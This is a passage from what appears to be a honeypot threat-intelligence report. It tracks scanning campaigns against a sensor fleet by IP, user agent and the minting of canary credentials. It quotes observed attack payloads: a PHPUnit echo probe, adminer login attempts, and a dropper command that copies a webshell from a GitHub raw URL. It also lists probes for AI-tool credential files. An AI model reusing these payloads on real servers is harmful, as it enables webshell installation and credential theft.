2a01:4f8:141:225b::2 №10, 2a01:4f8:161:34c1::2 №16) walked canary-farm-1: 144 ev, 143 fake-git + 1 gitignore, env-named refs families (refs/wip/wtree/, refs/wip/index/, logs/refs/{heads,tags}/, packed-refs, FETCH_HEAD). 0 mints. Prior: №43 first miss after three 3xK-Tech windows; №39 fleet-record single-IP 14,787-ev walk by 169.40.142.2 (Zkillu).
flowchart LR
H["Hetzner IPv6 (gen 3)<br/>2a01:4f9:c015:3f79::1"] --> W["/.git internals walk<br/>env-named refs · fake-git 143"]
W --- Z["0 mints · canary-farm-1<br/>one window on record"]
SI-CENSUS idle
№53: 102.220.161.x still silent, but same-org block 102.220.163.155 ran CREDSWEEP's fanout template on 3 nodes (see CREDSWEEP) — the org operates multiple census templates. №51: FIRST ABSENCE since the №50 return — no .102/.87/.139 run this window; the block's 33 held credentials stay hostile-held inventory. №50: PROMOTION MET — 102.220.161.139 returned on 4 sensors (1,518 ev: control 845, aidev 348, ru-edge 321, farm light) 09:24–09:59 EDT under a ~10-UA rotation that now includes ClaudeBot/GPTBot/Googlebot forgeries; .env fanout + fake-git walk + 6 mints (control 3, ru-edge 2, aidev 1). The 27 held ru-edge credentials plus these 6 stay hostile-held inventory; 0 observed AWS use. №46: SECOND consecutive idle window (0 events); the 27 held ru-edge credentials remain unused. №45: CONTRACTED to 4 events (.87 only, 3 sensors) — no census, no mints; the block's 27 held ru-edge credentials (№44) remain hostile-held inventory with zero observed AWS use. ⚠ NEW №44 — PROMOTED on the second window: 102.220.161.x (VPS Dedicated LLC SI). .102 ran ru-edge's largest census of the window (2,797 ev / 55 fams / 1,503 paths, 10:39–11:47 EDT) with Host: 127.0.0.1 spoofed on 2,793 requests (the №13 origin-spoof family) and minted a fleet-record 27 canaries in 17 minutes under a Chrome/126 forgery. .87 censused netcup (722 ev, /.hgignore + Zend config set) and ai-devbox-1 (599 ev, 2 mints) under 5 rotating UAs. Lineage: .102's 144-path fake-git walk on aidev in №43; .139 collected №35–№36. Watch: 27 held credentials; third window.
flowchart LR
S["102.220.161.102<br/>Host: 127.0.0.1 spoof ×2,793"] --> W["1,503-path census<br/>55 families · ru-edge-1"]
W --> MINT["27 mints in 17 min<br/>fleet single-IP record"]
B["102.220.161.87"] --> C["netcup + aidev censuses<br/>2 mints"]
PROTON-CENSUS idle
№52: FIRST ABSENCE — 159.26.110.149 0 ev; its 2 held credentials remain the use-side watch. ⚠ NEW №51 — 159.26.110.149 (Proton AG PL, same /24 as №14's 159.26.110.179, the fleet's first credential user) ran the census-and-mint playbook: control pass 163 ev / 96 paths / 48 fams in 3.5 s (13:14:07 EDT, curl/8.22.0) with 2 mints issued at /.env; ru-edge leg 165 ev over 72 min (Go-http-client/1.1 + curl/8.22.0) with AI-config families (claude-config, claude-credentials, claude-history, codex-config-toml) plus aws/gcp/kube/terraform census; the ru-edge mint failed on a connection reset. 0 AWS use in window — in №14 this /24's first use came hours after minting; treat both held credentials as live inventory.
flowchart LR
P["159.26.110.149<br/>Proton AG PL · curl/8.22.0"] --> C["96-path AI/config census<br/>control 3.5 s · ru-edge 72 min"]
C --> M["2 mints control /.env<br/>ru-edge mint failed"]
M --> W["AWS-use watch<br/>/24 used a canary in №14"]
EMPERORS-KIT idle
№52: absent — second consecutive idle window; repo-liveness check still not run. №51: SECOND consecutive window, FULL KIT re-observed — 150.241.66.127 on 3 nodes again (farm 03:56, control 04:20, aidev 04:23 EDT; ~40 ev each): adminer prod_rw POSTs with six fresh 22-char passwords + phpunit verify <?php echo "EmperorsTools";?> + GitHub dropper copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php',…). 0 mints. №50: RETURN after four idle windows — original operator 150.241.66.127 (Kyonix US) back on control (22 phpmyadmin-login, 04:24–05:47 EDT) + farm (22, 04:00–04:16) under Chrome/91; 0 mints; the phpunit verify and GitHub dropper were not re-observed this window. ⚠ NEW №46: self-labeled webshell EmperorsTools — 150.241.66.127 (Kyonix Networks US) ran the kit on THREE sensors in one 3-h span (farm 15:48–18:31 UTC, control 16:48–19:00, aidev 17:00–18:54; 244 ev / 38 paths total): tarpit cycling → phpMyAdmin login POSTs (phpmyadmin-login ×107 across the 3 nodes) → /admin/adminer.php POSTs auth[username]=prod_rw + a fresh 22-char password per POST (the INFOCREST password shape; 4 captured verbatim) → phpunit verify <?php echo "EmperorsTools";?> → dropper POST copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php','emperorstools.php') → config census (env-production, whm-login, app-config-php, fake-git, symfony-profiler). 6 mints (2 per sensor; 7/6d). Owns the control-1 phpmyadmin-login 8.9× spike. Watch for AWS use and a second operator.
flowchart LR
T["Tarpit cycling"] --> PMA["phpMyAdmin POSTs ×107<br/>3 sensors"]
PMA --> ADM["adminer prod_rw +<br/>22-char pw per POST"]
ADM --> V["phpunit verify<br/>EmperorsTools echo"]
V --> D["dropper: president32/uploader2<br/>emperor.php → emperorstools.php"]
D --> MINT["6 mints · 2 per sensor<br/>0 AWS use at close"]
Mint → use sankey — sensor → minted → used-in-AWS / unused (all-time)
Network-layer recon — inbound sweeps on the fleet's public IPs (Arkime); not visible to the HTTP traps
Arkime window 2026-10-16 07:33:00 → 2026-10-17 07:33:32 UTC · 108,124 inbound sessions on 8 fleet public IPs. Identity is the client tool (fingerprint), never the source IP — sweep operators rotate addresses and keep the tool. Last column = source IPs per day.
fingerprint
campaign
sessions
src IPs
networks
countries
ports
src IPs/day
f555226df196…
LIBSSH-MASSSWEEP dispersed sweep (one port, many networks)